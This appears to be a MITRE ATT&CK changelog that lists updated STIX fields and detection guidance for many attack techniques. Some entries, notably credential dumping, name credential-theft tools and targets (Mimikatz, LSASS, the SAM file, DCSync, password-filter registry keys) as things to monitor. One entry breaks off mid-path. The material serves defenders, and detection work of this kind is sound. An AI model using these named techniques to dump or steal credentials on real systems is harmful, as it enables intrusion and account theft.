| x_mitre_detection | Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. + +Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:51:06.430000+00:00 | 2025-10-24 17:49:28.162000+00:00 |
| x_mitre_detection | Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:40:12.055000+00:00 | 2025-10-24 17:49:38.719000+00:00 |
| x_mitre_detection | Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) + +Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:18.015000+00:00 | 2025-10-24 17:49:02.287000+00:00 |
| x_mitre_detection | Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) + +Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:40.804000+00:00 | 2025-10-24 17:48:47.219000+00:00 |
| x_mitre_detection | Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018) |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Modification', 'Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:51:42.187000+00:00 | 2025-10-24 17:49:21.921000+00:00 |
| x_mitre_detection | Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:52:16.483000+00:00 | 2025-10-24 17:48:55.360000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Cloud Service: Cloud Service Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:15.945000+00:00 | 2025-10-24 17:49:31.494000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:18.727000+00:00 | 2025-10-24 17:49:11.691000+00:00 |
| x_mitre_detection | Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity. |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:52:30.350000+00:00 | 2025-10-24 17:48:37.475000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:19.739000+00:00 | 2025-10-24 17:48:36.910000+00:00 |
| x_mitre_detection | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. + +In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:52:48.199000+00:00 | 2025-10-24 17:48:37.652000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:53:01.571000+00:00 | 2025-10-24 17:48:38.803000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:04.779000+00:00 | 2025-10-24 17:49:20.136000+00:00 |
| x_mitre_detection | Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) + +Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:12.613000+00:00 | 2025-10-24 17:49:27.237000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'File: File Creation', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution', 'Active Directory: Active Directory Object Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:53:37.617000+00:00 | 2025-10-24 17:48:22.201000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | ### Windows
+Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
+
+Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
+
+On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
+
+Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
+
+Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
+
+### Linux
+To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/ |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:53:56.462000+00:00 | 2025-10-24 17:48:23.935000+00:00 |
| x_mitre_detection | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['WMI: WMI Creation', 'Script: Script Execution', 'File: File Creation', 'Module: Module Load', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Metadata', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:59.251000+00:00 | 2025-10-24 17:49:15.265000+00:00 |
| x_mitre_detection | Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). + +Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) + +Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. + +The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Certificate: Certificate Registration', 'Malware Repository: Malware Metadata', 'Internet Scan: Response Content', 'Malware Repository: Malware Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:54:16.100000+00:00 | 2025-10-24 17:49:24.545000+00:00 |
| x_mitre_detection | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) + +Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:01.231000+00:00 | 2025-10-24 17:48:55.622000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Application Log: Application Log Content', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:54:32.990000+00:00 | 2025-10-24 17:48:34.614000+00:00 |
| x_mitre_detection | Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. + +Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) + +Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:54:50.299000+00:00 | 2025-10-24 17:48:59.432000+00:00 |
| x_mitre_detection | Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Creation', 'Command: Command Execution', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Process: Process Creation', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:55:04.029000+00:00 | 2025-10-24 17:49:34.588000+00:00 |
| x_mitre_detection | Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) + +Consider monitoring Office processes for anomalous DLL loads. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:30.432000+00:00 | 2025-10-24 17:49:08.849000+00:00 |
| x_mitre_detection | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:55:18.800000+00:00 | 2025-10-24 17:49:12.562000+00:00 |
| x_mitre_detection | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:55:34.415000+00:00 | 2025-10-24 17:49:18.872000+00:00 |
| x_mitre_detection | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Application Log: Application Log Content', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:55:47.125000+00:00 | 2025-10-24 17:48:41.026000+00:00 |
| x_mitre_detection | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: OS API Execution', 'Process: Process Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:18.203000+00:00 | 2025-10-24 17:49:06.759000+00:00 |
| x_mitre_detection | Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)
+
+Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:22.508000+00:00 | 2025-10-24 17:49:32.459000+00:00 |
| x_mitre_detection | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. + +Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:43.927000+00:00 | 2025-10-24 17:48:59.861000+00:00 |
| x_mitre_detection | Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. + +Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:11.912000+00:00 | 2025-10-24 17:48:29.397000+00:00 |
| x_mitre_detection | It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:56:08.743000+00:00 | 2025-10-24 17:48:39.067000+00:00 |
| x_mitre_detection | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
+
+Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:04.272000+00:00 | 2025-10-24 17:48:21.929000+00:00 |
| x_mitre_detection | Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Access', 'Process: OS API Execution', 'File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:56:22.300000+00:00 | 2025-10-24 17:48:36.347000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. + +Consider monitoring file reads surrounding known password manager applications. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Don Le, Stifel Financial |
Current version: 1.7
